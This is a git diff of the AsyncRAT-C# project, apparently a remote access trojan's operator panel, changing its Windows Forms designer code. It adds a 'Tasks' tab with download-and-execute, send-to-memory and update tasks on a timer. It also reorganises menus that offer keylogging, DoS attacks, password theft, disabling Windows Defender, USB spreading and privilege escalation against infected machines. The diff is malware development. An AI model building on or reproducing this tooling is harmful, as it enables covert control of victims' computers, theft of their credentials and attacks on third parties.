diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/App.config b/AsyncRAT-C#/AsyncRAT-Sharp/App.config
index 67f88a7..1c149b7 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/App.config
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/App.config
@@ -13,18 +13,21 @@
-
-
-
- False
+ True
+
+
+
+
+
+
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj
index 2b7c3e9..376d081 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj
@@ -146,6 +146,7 @@
+
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs
index c771e2d..c40de59 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs
@@ -39,7 +39,7 @@
this.lv_version = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lv_prefor = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lv_admin = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
- this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
+ this.contextMenuClient = new System.Windows.Forms.ContextMenuStrip(this.components);
this.cLIENTOPTIONSToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.cLOSEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.rESTARTToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
@@ -54,6 +54,7 @@
this.kEYLOGGERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.fILEMANAGERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+ this.pASSWORDRECOVERYToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.pROCESSMANAGERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.dISABLESToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.wINDOWDSDEFENDERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
@@ -64,7 +65,6 @@
this.bUILDERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator();
this.aBOUTToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
- this.pASSWORDRECOVERYToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.statusStrip1 = new System.Windows.Forms.StatusStrip();
this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel();
this.ping = new System.Windows.Forms.Timer(this.components);
@@ -77,25 +77,38 @@
this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.tabPage3 = new System.Windows.Forms.TabPage();
this.listView3 = new System.Windows.Forms.ListView();
- this.contextMenuStrip2 = new System.Windows.Forms.ContextMenuStrip(this.components);
+ this.contextMenuThumbnail = new System.Windows.Forms.ContextMenuStrip(this.components);
this.sTARTToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.sTOPToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
- this.imageList1 = new System.Windows.Forms.ImageList(this.components);
+ this.ThumbnailImageList = new System.Windows.Forms.ImageList(this.components);
+ this.tabPage4 = new System.Windows.Forms.TabPage();
+ this.listView4 = new System.Windows.Forms.ListView();
+ this.columnHeader4 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
+ this.columnHeader5 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
+ this.contextMenuTasks = new System.Windows.Forms.ContextMenuStrip(this.components);
+ this.downloadAndExecuteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+ this.sENDFILETOMEMORYToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
+ this.uPDATEToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
+ this.toolStripSeparator4 = new System.Windows.Forms.ToolStripSeparator();
+ this.dELETETASKToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.performanceCounter1 = new System.Diagnostics.PerformanceCounter();
this.performanceCounter2 = new System.Diagnostics.PerformanceCounter();
this.notifyIcon1 = new System.Windows.Forms.NotifyIcon(this.components);
- this.contextMenuStrip3 = new System.Windows.Forms.ContextMenuStrip(this.components);
+ this.contextMenuNotification = new System.Windows.Forms.ContextMenuStrip(this.components);
this.notificationOFFToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
- this.contextMenuStrip1.SuspendLayout();
+ this.TimerTask = new System.Windows.Forms.Timer(this.components);
+ this.contextMenuClient.SuspendLayout();
this.statusStrip1.SuspendLayout();
this.tabControl1.SuspendLayout();
this.tabPage1.SuspendLayout();
this.tabPage2.SuspendLayout();
this.tabPage3.SuspendLayout();
- this.contextMenuStrip2.SuspendLayout();
+ this.contextMenuThumbnail.SuspendLayout();
+ this.tabPage4.SuspendLayout();
+ this.contextMenuTasks.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.performanceCounter1)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.performanceCounter2)).BeginInit();
- this.contextMenuStrip3.SuspendLayout();
+ this.contextMenuNotification.SuspendLayout();
this.SuspendLayout();
//
// listView1
@@ -110,7 +123,7 @@
this.lv_version,
this.lv_prefor,
this.lv_admin});
- this.listView1.ContextMenuStrip = this.contextMenuStrip1;
+ this.listView1.ContextMenuStrip = this.contextMenuClient;
this.listView1.Dock = System.Windows.Forms.DockStyle.Fill;
this.listView1.FullRowSelect = true;
this.listView1.GridLines = true;
@@ -165,10 +178,10 @@
this.lv_admin.Text = "PRIVILEGES";
this.lv_admin.Width = 166;
//
- // contextMenuStrip1
+ // contextMenuClient
//
- this.contextMenuStrip1.ImageScalingSize = new System.Drawing.Size(24, 24);
- this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
+ this.contextMenuClient.ImageScalingSize = new System.Drawing.Size(20, 20);
+ this.contextMenuClient.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.cLIENTOPTIONSToolStripMenuItem,
this.toolStripSeparator1,
this.vISITWEBSITEToolStripMenuItem,
@@ -189,8 +202,8 @@
this.bUILDERToolStripMenuItem,
this.toolStripSeparator3,
this.aBOUTToolStripMenuItem});
- this.contextMenuStrip1.Name = "contextMenuStrip1";
- this.contextMenuStrip1.Size = new System.Drawing.Size(283, 568);
+ this.contextMenuClient.Name = "contextMenuStrip1";
+ this.contextMenuClient.Size = new System.Drawing.Size(279, 532);
//
// cLIENTOPTIONSToolStripMenuItem
//
@@ -201,7 +214,7 @@
this.uNISTALLToolStripMenuItem});
this.cLIENTOPTIONSToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.client;
this.cLIENTOPTIONSToolStripMenuItem.Name = "cLIENTOPTIONSToolStripMenuItem";
- this.cLIENTOPTIONSToolStripMenuItem.Size = new System.Drawing.Size(282, 30);
+ this.cLIENTOPTIONSToolStripMenuItem.Size = new System.Drawing.Size(278, 30);
this.cLIENTOPTIONSToolStripMenuItem.Text = "CLIENT OPTIONS";
//
// cLOSEToolStripMenuItem
@@ -235,13 +248,13 @@
// toolStripSeparator1
//
this.toolStripSeparator1.Name = "toolStripSeparator1";
- this.toolStripSeparator1.Size = new System.Drawing.Size(279, 6);
+ this.toolStripSeparator1.Size = new System.Drawing.Size(275, 6);
//
// vISITWEBSITEToolStripMenuItem
//
this.vISITWEBSITEToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.visit;
this.vISITWEBSITEToolStripMenuItem.Name = "vISITWEBSITEToolStripMenuItem";
- this.vISITWEBSITEToolStripMenuItem.Size = new System.Drawing.Size(282, 30);
+ this.vISITWEBSITEToolStripMenuItem.Size = new System.Drawing.Size(278, 30);
this.vISITWEBSITEToolStripMenuItem.Text = "VISIT WEBSITE";
this.vISITWEBSITEToolStripMenuItem.Click += new System.EventHandler(this.VISITWEBSITEToolStripMenuItem_Click);
//
@@ -249,7 +262,7 @@
//
this.sENDMESSAGEBOXToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.msgbox;
this.sENDMESSAGEBOXToolStripMenuItem.Name = "sENDMESSAGEBOXToolStripMenuItem";
- this.sENDMESSAGEBOXToolStripMenuItem.Size = new System.Drawing.Size(282, 30);
+ this.sENDMESSAGEBOXToolStripMenuItem.Size = new System.Drawing.Size(278, 30);
this.sENDMESSAGEBOXToolStripMenuItem.Text = "SEND MESSAGEBOX";
this.sENDMESSAGEBOXToolStripMenuItem.Click += new System.EventHandler(this.sENDMESSAGEBOXToolStripMenuItem_Click);
//
@@ -257,7 +270,7 @@
//
this.sENDFILEToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.tomem;
this.sENDFILEToolStripMenuItem.Name = "sENDFILEToolStripMenuItem";
- this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(282, 30);
+ this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(278, 30);
this.sENDFILEToolStripMenuItem.Text = "SEND FILE TO DISK";
this.sENDFILEToolStripMenuItem.Click += new System.EventHandler(this.sENDFILEToolStripMenuItem_Click_1);
//
@@ -265,7 +278,7 @@
//
this.sENDFILETOMEMORYToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.tomem1;
this.sENDFILETOMEMORYToolStripMenuItem.Name = "sENDFILETOMEMORYToolStripMenuItem";
- this.sENDFILETOMEMORYToolStripMenuItem.Size = new System.Drawing.Size(282, 30);
+ this.sENDFILETOMEMORYToolStripMenuItem.Size = new System.Drawing.Size(278, 30);
this.sENDFILETOMEMORYToolStripMenuItem.Text = "SEND FILE TO MEMORY";
this.sENDFILETOMEMORYToolStripMenuItem.Click += new System.EventHandler(this.sENDFILETOMEMORYToolStripMenuItem_Click);
//
@@ -273,7 +286,7 @@
//
this.rEMOTEDESKTOPToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.remotedesktop;
this.rEMOTEDESKTOPToolStripMenuItem.Name = "rEMOTEDESKTOPToolStripMenuItem";
- this.rEMOTEDESKTOPToolStripMenuItem.Size = new System.Drawing.Size(282, 30);
+ this.rEMOTEDESKTOPToolStripMenuItem.Size = new System.Drawing.Size(278, 30);
this.rEMOTEDESKTOPToolStripMenuItem.Text = "REMOTE DESKTOP";
this.rEMOTEDESKTOPToolStripMenuItem.Click += new System.EventHandler(this.rEMOTEDESKTOPToolStripMenuItem_Click);
//
@@ -281,7 +294,7 @@
//
this.kEYLOGGERToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.logger;
this.kEYLOGGERToolStripMenuItem.Name = "kEYLOGGERToolStripMenuItem";
- this.kEYLOGGERToolStripMenuItem.Size = new System.Drawing.Size(282, 30);
+ this.kEYLOGGERToolStripMenuItem.Size = new System.Drawing.Size(278, 30);
this.kEYLOGGERToolStripMenuItem.Text = "KEYLOGGER";
this.kEYLOGGERToolStripMenuItem.Click += new System.EventHandler(this.KEYLOGGERToolStripMenuItem_Click);
//
@@ -289,7 +302,7 @@
//
this.toolStripMenuItem1.Image = global::AsyncRAT_Sharp.Properties.Resources.ddos;
this.toolStripMenuItem1.Name = "toolStripMenuItem1";
- this.toolStripMenuItem1.Size = new System.Drawing.Size(282, 30);
+ this.toolStripMenuItem1.Size = new System.Drawing.Size(278, 30);
this.toolStripMenuItem1.Text = "DOS ATTACK";
this.toolStripMenuItem1.Click += new System.EventHandler(this.ToolStripMenuItem1_Click);
//
@@ -297,15 +310,23 @@
//
this.fILEMANAGERToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.filemanager;
this.fILEMANAGERToolStripMenuItem.Name = "fILEMANAGERToolStripMenuItem";
- this.fILEMANAGERToolStripMenuItem.Size = new System.Drawing.Size(282, 30);
+ this.fILEMANAGERToolStripMenuItem.Size = new System.Drawing.Size(278, 30);
this.fILEMANAGERToolStripMenuItem.Text = "FILE MANAGER";
this.fILEMANAGERToolStripMenuItem.Click += new System.EventHandler(this.fILEMANAGERToolStripMenuItem_Click);
//
+ // pASSWORDRECOVERYToolStripMenuItem
+ //
+ this.pASSWORDRECOVERYToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.key;
+ this.pASSWORDRECOVERYToolStripMenuItem.Name = "pASSWORDRECOVERYToolStripMenuItem";
+ this.pASSWORDRECOVERYToolStripMenuItem.Size = new System.Drawing.Size(278, 30);
+ this.pASSWORDRECOVERYToolStripMenuItem.Text = "PASSWORD RECOVERY";
+ this.pASSWORDRECOVERYToolStripMenuItem.Click += new System.EventHandler(this.PASSWORDRECOVERYToolStripMenuItem_Click);
+ //
// pROCESSMANAGERToolStripMenuItem
//
this.pROCESSMANAGERToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.process;
this.pROCESSMANAGERToolStripMenuItem.Name = "pROCESSMANAGERToolStripMenuItem";
- this.pROCESSMANAGERToolStripMenuItem.Size = new System.Drawing.Size(282, 30);
+ this.pROCESSMANAGERToolStripMenuItem.Size = new System.Drawing.Size(278, 30);
this.pROCESSMANAGERToolStripMenuItem.Text = "PROCESS MANAGER";
this.pROCESSMANAGERToolStripMenuItem.Click += new System.EventHandler(this.pROCESSMANAGERToolStripMenuItem_Click);
//
@@ -315,7 +336,7 @@
this.wINDOWDSDEFENDERToolStripMenuItem});
this.dISABLESToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.disabled;
this.dISABLESToolStripMenuItem.Name = "dISABLESToolStripMenuItem";
- this.dISABLESToolStripMenuItem.Size = new System.Drawing.Size(282, 30);
+ this.dISABLESToolStripMenuItem.Size = new System.Drawing.Size(278, 30);
this.dISABLESToolStripMenuItem.Text = "DISABLES";
//
// wINDOWDSDEFENDERToolStripMenuItem
@@ -329,7 +350,7 @@
//
this.bOTKILLERToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.botkiller;
this.bOTKILLERToolStripMenuItem.Name = "bOTKILLERToolStripMenuItem";
- this.bOTKILLERToolStripMenuItem.Size = new System.Drawing.Size(282, 30);
+ this.bOTKILLERToolStripMenuItem.Size = new System.Drawing.Size(278, 30);
this.bOTKILLERToolStripMenuItem.Text = "BOT KILLER";
this.bOTKILLERToolStripMenuItem.Click += new System.EventHandler(this.BOTKILLERToolStripMenuItem_Click);
//
@@ -337,7 +358,7 @@
//
this.uSBSPREADToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.usb;
this.uSBSPREADToolStripMenuItem.Name = "uSBSPREADToolStripMenuItem";
- this.uSBSPREADToolStripMenuItem.Size = new System.Drawing.Size(282, 30);
+ this.uSBSPREADToolStripMenuItem.Size = new System.Drawing.Size(278, 30);
this.uSBSPREADToolStripMenuItem.Text = "USB SPREAD";
this.uSBSPREADToolStripMenuItem.Click += new System.EventHandler(this.USBSPREADToolStripMenuItem_Click);
//
@@ -345,44 +366,36 @@
//
this.gETADMINISTRATORPRIVILEGESToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.uac;
this.gETADMINISTRATORPRIVILEGESToolStripMenuItem.Name = "gETADMINISTRATORPRIVILEGESToolStripMenuItem";
- this.gETADMINISTRATORPRIVILEGESToolStripMenuItem.Size = new System.Drawing.Size(282, 30);
+ this.gETADMINISTRATORPRIVILEGESToolStripMenuItem.Size = new System.Drawing.Size(278, 30);
this.gETADMINISTRATORPRIVILEGESToolStripMenuItem.Text = "GET ADMIN PRIVILEGES";
this.gETADMINISTRATORPRIVILEGESToolStripMenuItem.Click += new System.EventHandler(this.GETADMINISTRATORPRIVILEGESToolStripMenuItem_Click);
//
// toolStripSeparator2
//
this.toolStripSeparator2.Name = "toolStripSeparator2";
- this.toolStripSeparator2.Size = new System.Drawing.Size(279, 6);
+ this.toolStripSeparator2.Size = new System.Drawing.Size(275, 6);
//
// bUILDERToolStripMenuItem
//
this.bUILDERToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.builder;
this.bUILDERToolStripMenuItem.Name = "bUILDERToolStripMenuItem";
- this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(282, 30);
+ this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(278, 30);
this.bUILDERToolStripMenuItem.Text = "BUILDER";
this.bUILDERToolStripMenuItem.Click += new System.EventHandler(this.bUILDERToolStripMenuItem_Click);
//
// toolStripSeparator3
//
this.toolStripSeparator3.Name = "toolStripSeparator3";
- this.toolStripSeparator3.Size = new System.Drawing.Size(279, 6);
+ this.toolStripSeparator3.Size = new System.Drawing.Size(275, 6);
//
// aBOUTToolStripMenuItem
//
this.aBOUTToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.info;
this.aBOUTToolStripMenuItem.Name = "aBOUTToolStripMenuItem";
- this.aBOUTToolStripMenuItem.Size = new System.Drawing.Size(282, 30);
+ this.aBOUTToolStripMenuItem.Size = new System.Drawing.Size(278, 30);
this.aBOUTToolStripMenuItem.Text = "ABOUT";
this.aBOUTToolStripMenuItem.Click += new System.EventHandler(this.ABOUTToolStripMenuItem_Click);
//
- // pASSWORDRECOVERYToolStripMenuItem
- //
- this.pASSWORDRECOVERYToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.key;
- this.pASSWORDRECOVERYToolStripMenuItem.Name = "pASSWORDRECOVERYToolStripMenuItem";
- this.pASSWORDRECOVERYToolStripMenuItem.Size = new System.Drawing.Size(282, 30);
- this.pASSWORDRECOVERYToolStripMenuItem.Text = "PASSWORD RECOVERY";
- this.pASSWORDRECOVERYToolStripMenuItem.Click += new System.EventHandler(this.PASSWORDRECOVERYToolStripMenuItem_Click);
- //
// statusStrip1
//
this.statusStrip1.ImageScalingSize = new System.Drawing.Size(24, 24);
@@ -417,6 +430,7 @@
this.tabControl1.Controls.Add(this.tabPage1);
this.tabControl1.Controls.Add(this.tabPage2);
this.tabControl1.Controls.Add(this.tabPage3);
+ this.tabControl1.Controls.Add(this.tabPage4);
this.tabControl1.Dock = System.Windows.Forms.DockStyle.Fill;
this.tabControl1.Location = new System.Drawing.Point(0, 0);
this.tabControl1.Name = "tabControl1";
@@ -486,31 +500,31 @@
//
// listView3
//
- this.listView3.ContextMenuStrip = this.contextMenuStrip2;
+ this.listView3.ContextMenuStrip = this.contextMenuThumbnail;
this.listView3.Dock = System.Windows.Forms.DockStyle.Fill;
- this.listView3.LargeImageList = this.imageList1;
+ this.listView3.LargeImageList = this.ThumbnailImageList;
this.listView3.Location = new System.Drawing.Point(0, 0);
this.listView3.Name = "listView3";
this.listView3.ShowItemToolTips = true;
this.listView3.Size = new System.Drawing.Size(1160, 402);
- this.listView3.SmallImageList = this.imageList1;
+ this.listView3.SmallImageList = this.ThumbnailImageList;
this.listView3.TabIndex = 0;
this.listView3.UseCompatibleStateImageBehavior = false;
//
- // contextMenuStrip2
+ // contextMenuThumbnail
//
- this.contextMenuStrip2.ImageScalingSize = new System.Drawing.Size(24, 24);
- this.contextMenuStrip2.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
+ this.contextMenuThumbnail.ImageScalingSize = new System.Drawing.Size(20, 20);
+ this.contextMenuThumbnail.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.sTARTToolStripMenuItem,
this.sTOPToolStripMenuItem});
- this.contextMenuStrip2.Name = "contextMenuStrip2";
- this.contextMenuStrip2.Size = new System.Drawing.Size(144, 64);
+ this.contextMenuThumbnail.Name = "contextMenuStrip2";
+ this.contextMenuThumbnail.Size = new System.Drawing.Size(140, 64);
//
// sTARTToolStripMenuItem
//
this.sTARTToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.play_button;
this.sTARTToolStripMenuItem.Name = "sTARTToolStripMenuItem";
- this.sTARTToolStripMenuItem.Size = new System.Drawing.Size(143, 30);
+ this.sTARTToolStripMenuItem.Size = new System.Drawing.Size(139, 30);
this.sTARTToolStripMenuItem.Text = "START";
this.sTARTToolStripMenuItem.Click += new System.EventHandler(this.STARTToolStripMenuItem_Click);
//
@@ -518,15 +532,98 @@
//
this.sTOPToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.stop__1_;
this.sTOPToolStripMenuItem.Name = "sTOPToolStripMenuItem";
- this.sTOPToolStripMenuItem.Size = new System.Drawing.Size(143, 30);
+ this.sTOPToolStripMenuItem.Size = new System.Drawing.Size(139, 30);
this.sTOPToolStripMenuItem.Text = "STOP";
this.sTOPToolStripMenuItem.Click += new System.EventHandler(this.STOPToolStripMenuItem_Click);
//
- // imageList1
+ // ThumbnailImageList
//
- this.imageList1.ColorDepth = System.Windows.Forms.ColorDepth.Depth16Bit;
- this.imageList1.ImageSize = new System.Drawing.Size(256, 256);
- this.imageList1.TransparentColor = System.Drawing.Color.Transparent;
+ this.ThumbnailImageList.ColorDepth = System.Windows.Forms.ColorDepth.Depth16Bit;
+ this.ThumbnailImageList.ImageSize = new System.Drawing.Size(256, 256);
+ this.ThumbnailImageList.TransparentColor = System.Drawing.Color.Transparent;
+ //
+ // tabPage4
+ //
+ this.tabPage4.Controls.Add(this.listView4);
+ this.tabPage4.Location = new System.Drawing.Point(4, 29);
+ this.tabPage4.Name = "tabPage4";
+ this.tabPage4.Padding = new System.Windows.Forms.Padding(3);
+ this.tabPage4.Size = new System.Drawing.Size(1160, 402);
+ this.tabPage4.TabIndex = 3;
+ this.tabPage4.Text = "Tasks";
+ this.tabPage4.UseVisualStyleBackColor = true;
+ //
+ // listView4
+ //
+ this.listView4.BorderStyle = System.Windows.Forms.BorderStyle.None;
+ this.listView4.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
+ this.columnHeader4,
+ this.columnHeader5});
+ this.listView4.ContextMenuStrip = this.contextMenuTasks;
+ this.listView4.Dock = System.Windows.Forms.DockStyle.Fill;
+ this.listView4.FullRowSelect = true;
+ this.listView4.Location = new System.Drawing.Point(3, 3);
+ this.listView4.Name = "listView4";
+ this.listView4.Size = new System.Drawing.Size(1154, 396);
+ this.listView4.TabIndex = 0;
+ this.listView4.UseCompatibleStateImageBehavior = false;
+ this.listView4.View = System.Windows.Forms.View.Details;
+ //
+ // columnHeader4
+ //
+ this.columnHeader4.Text = "Task";
+ this.columnHeader4.Width = 97;
+ //
+ // columnHeader5
+ //
+ this.columnHeader5.Text = "Execution";
+ this.columnHeader5.Width = 116;
+ //
+ // contextMenuTasks
+ //
+ this.contextMenuTasks.ImageScalingSize = new System.Drawing.Size(20, 20);
+ this.contextMenuTasks.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
+ this.downloadAndExecuteToolStripMenuItem,
+ this.sENDFILETOMEMORYToolStripMenuItem1,
+ this.uPDATEToolStripMenuItem1,
+ this.toolStripSeparator4,
+ this.dELETETASKToolStripMenuItem});
+ this.contextMenuTasks.Name = "contextMenuStrip4";
+ this.contextMenuTasks.ShowImageMargin = false;
+ this.contextMenuTasks.Size = new System.Drawing.Size(250, 130);
+ //
+ // downloadAndExecuteToolStripMenuItem
+ //
+ this.downloadAndExecuteToolStripMenuItem.Name = "downloadAndExecuteToolStripMenuItem";
+ this.downloadAndExecuteToolStripMenuItem.Size = new System.Drawing.Size(249, 30);
+ this.downloadAndExecuteToolStripMenuItem.Text = "SEND FILE TO DISK";
+ this.downloadAndExecuteToolStripMenuItem.Click += new System.EventHandler(this.DownloadAndExecuteToolStripMenuItem_Click);
+ //
+ // sENDFILETOMEMORYToolStripMenuItem1
+ //
+ this.sENDFILETOMEMORYToolStripMenuItem1.Name = "sENDFILETOMEMORYToolStripMenuItem1";
+ this.sENDFILETOMEMORYToolStripMenuItem1.Size = new System.Drawing.Size(249, 30);
+ this.sENDFILETOMEMORYToolStripMenuItem1.Text = "SEND FILE TO MEMORY";
+ this.sENDFILETOMEMORYToolStripMenuItem1.Click += new System.EventHandler(this.SENDFILETOMEMORYToolStripMenuItem1_Click);
+ //
+ // uPDATEToolStripMenuItem1
+ //
+ this.uPDATEToolStripMenuItem1.Name = "uPDATEToolStripMenuItem1";
+ this.uPDATEToolStripMenuItem1.Size = new System.Drawing.Size(249, 30);
+ this.uPDATEToolStripMenuItem1.Text = "UPDATE";
+ this.uPDATEToolStripMenuItem1.Click += new System.EventHandler(this.UPDATEToolStripMenuItem1_Click);
+ //
+ // toolStripSeparator4
+ //
+ this.toolStripSeparator4.Name = "toolStripSeparator4";
+ this.toolStripSeparator4.Size = new System.Drawing.Size(246, 6);
+ //
+ // dELETETASKToolStripMenuItem
+ //
+ this.dELETETASKToolStripMenuItem.Name = "dELETETASKToolStripMenuItem";
+ this.dELETETASKToolStripMenuItem.Size = new System.Drawing.Size(249, 30);
+ this.dELETETASKToolStripMenuItem.Text = "DELETE TASK";
+ this.dELETETASKToolStripMenuItem.Click += new System.EventHandler(this.DELETETASKToolStripMenuItem_Click);
//
// performanceCounter1
//
@@ -541,26 +638,32 @@
//
// notifyIcon1
//
- this.notifyIcon1.ContextMenuStrip = this.contextMenuStrip3;
+ this.notifyIcon1.ContextMenuStrip = this.contextMenuNotification;
this.notifyIcon1.Icon = ((System.Drawing.Icon)(resources.GetObject("notifyIcon1.Icon")));
this.notifyIcon1.Text = "AsyncRAT";
this.notifyIcon1.Visible = true;
//
- // contextMenuStrip3
+ // contextMenuNotification
//
- this.contextMenuStrip3.ImageScalingSize = new System.Drawing.Size(24, 24);
- this.contextMenuStrip3.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
+ this.contextMenuNotification.ImageScalingSize = new System.Drawing.Size(20, 20);
+ this.contextMenuNotification.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.notificationOFFToolStripMenuItem});
- this.contextMenuStrip3.Name = "contextMenuStrip3";
- this.contextMenuStrip3.Size = new System.Drawing.Size(224, 34);
+ this.contextMenuNotification.Name = "contextMenuStrip3";
+ this.contextMenuNotification.Size = new System.Drawing.Size(258, 34);
//
// notificationOFFToolStripMenuItem
//
this.notificationOFFToolStripMenuItem.Name = "notificationOFFToolStripMenuItem";
- this.notificationOFFToolStripMenuItem.Size = new System.Drawing.Size(223, 30);
- this.notificationOFFToolStripMenuItem.Text = "Notification [OFF]";
+ this.notificationOFFToolStripMenuItem.Size = new System.Drawing.Size(257, 30);
+ this.notificationOFFToolStripMenuItem.Text = "Notification [ON/OFF]";
this.notificationOFFToolStripMenuItem.Click += new System.EventHandler(this.NotificationOFFToolStripMenuItem_Click);
//
+ // TimerTask
+ //
+ this.TimerTask.Enabled = true;
+ this.TimerTask.Interval = 5000;
+ this.TimerTask.Tick += new System.EventHandler(this.TimerTask_Tick);
+ //
// Form1
//
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
@@ -575,17 +678,19 @@
this.Deactivate += new System.EventHandler(this.Form1_Deactivate);
this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.Form1_FormClosed);
this.Load += new System.EventHandler(this.Form1_Load);
- this.contextMenuStrip1.ResumeLayout(false);
+ this.contextMenuClient.ResumeLayout(false);
this.statusStrip1.ResumeLayout(false);
this.statusStrip1.PerformLayout();
this.tabControl1.ResumeLayout(false);
this.tabPage1.ResumeLayout(false);
this.tabPage2.ResumeLayout(false);
this.tabPage3.ResumeLayout(false);
- this.contextMenuStrip2.ResumeLayout(false);
+ this.contextMenuThumbnail.ResumeLayout(false);
+ this.tabPage4.ResumeLayout(false);
+ this.contextMenuTasks.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.performanceCounter1)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.performanceCounter2)).EndInit();
- this.contextMenuStrip3.ResumeLayout(false);
+ this.contextMenuNotification.ResumeLayout(false);
this.ResumeLayout(false);
this.PerformLayout();
@@ -597,7 +702,7 @@
private System.Windows.Forms.ColumnHeader lv_ip;
private System.Windows.Forms.ColumnHeader lv_user;
private System.Windows.Forms.ColumnHeader lv_os;
- private System.Windows.Forms.ContextMenuStrip contextMenuStrip1;
+ private System.Windows.Forms.ContextMenuStrip contextMenuClient;
private System.Windows.Forms.StatusStrip statusStrip1;
private System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel1;
private System.Windows.Forms.Timer ping;
@@ -635,13 +740,13 @@
private System.Windows.Forms.ToolStripMenuItem aBOUTToolStripMenuItem;
private System.Windows.Forms.ToolStripSeparator toolStripSeparator3;
private System.Windows.Forms.TabPage tabPage3;
- private System.Windows.Forms.ContextMenuStrip contextMenuStrip2;
+ private System.Windows.Forms.ContextMenuStrip contextMenuThumbnail;
private System.Windows.Forms.ToolStripMenuItem sTARTToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem sTOPToolStripMenuItem;
- public System.Windows.Forms.ImageList imageList1;
+ public System.Windows.Forms.ImageList ThumbnailImageList;
public System.Windows.Forms.ListView listView3;
public System.Windows.Forms.NotifyIcon notifyIcon1;
- private System.Windows.Forms.ContextMenuStrip contextMenuStrip3;
+ private System.Windows.Forms.ContextMenuStrip contextMenuNotification;
private System.Windows.Forms.ToolStripMenuItem notificationOFFToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem toolStripMenuItem1;
private System.Windows.Forms.ToolStripMenuItem dISABLESToolStripMenuItem;
@@ -649,6 +754,17 @@
